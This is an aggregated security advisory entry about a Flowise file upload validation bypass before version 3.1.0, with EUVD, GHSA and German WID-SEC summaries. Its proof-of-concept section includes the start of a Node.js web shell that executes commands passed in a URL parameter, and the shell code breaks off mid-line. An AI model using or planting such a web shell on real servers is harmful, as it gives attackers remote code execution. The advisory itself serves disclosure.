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EUVD-2026-292957

2026-10-04T06:13:06.932176+00:00

EUVD-2026-292957

fkie_cve-2026-41269

2026-10-04T06:13:06.932218+00:00

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). This vulnerability is fixed in 3.1.0.

GHSA-rh7v-6w34-w2rr — Flowise: File Upload Validation Bypass in createAttachment

2026-10-04T06:13:06.932261+00:00

Affected: npm: flowise

### Summary In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

### Details This is a bypass of [GHSA‑35g6‑rrw3‑v6xc](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc) (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the `application/javascript` MIME type when updating a Chatflow, allowing .js files to be uploaded.

JavaScript files are not listed as an option for file upload types within web user interface:

### PoC #### shell.js (Node.js Web Shell) ``` const { exec } = require('child_process'); const http = require('http');

const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd');

if (cmd) { console.log(`Executing: ${cmd}`); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(`Error: ${error.message}\n${stder…

WID-SEC-W-2026-1145 — Flowise: Mehrere Schwachstellen

2026-10-04T06:13:06.932415+00:00

Ein Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, und um Dateien zu manipulieren.